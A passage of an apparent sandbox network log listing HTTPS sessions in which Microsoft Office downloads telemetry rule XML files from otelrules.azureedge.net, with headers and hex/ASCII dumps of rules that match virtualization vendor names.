T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-16849878b78j5kdg3dndgqw0vg000000099000000000gf4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-17c5cb586f62vrfquq10qybcuw00000000g0000000008vyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: efaca471-901e-002a-6713-287a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062815Z-17c5cb586f6vcw6vtg5eymp4u800000005s0000000007z5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:15 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-15b8d89586fdmfsg1u7xrpfws00000000c00000000001bpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:16 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: e5751b3d-f01e-0099-0a8e-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-r197bdfb6b4xfp4mncra29rqkc000000014g000000004c5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:16 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-16849878b78km6fmmkbenhx76n00000006x000000000h0b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:16 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: d518f54b-201e-006e-10e8-28bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-15b8d89586fbmg6qpd9yf8zhm000000002q00000000019v0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:16 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-16849878b78bcpfn2qf7sm6hsn00000009a0000000004af7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:16 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c7261251-b01e-0070-6593-291cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062816Z-17c5cb586f6f8m6jnehy0z65x40000000720000000000c0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:17 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:17 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:17 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062817Z-16849878b78p49s6zkwt11bbkn000000077000000000ganb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:17 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:17 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:17 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062817Z-16849878b78nx5sne3fztmu6xc00000008gg00000000k9e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:17 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:17 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:17 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062817Z-16849878b78nx5sne3fztmu6xc00000008kg00000000crp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
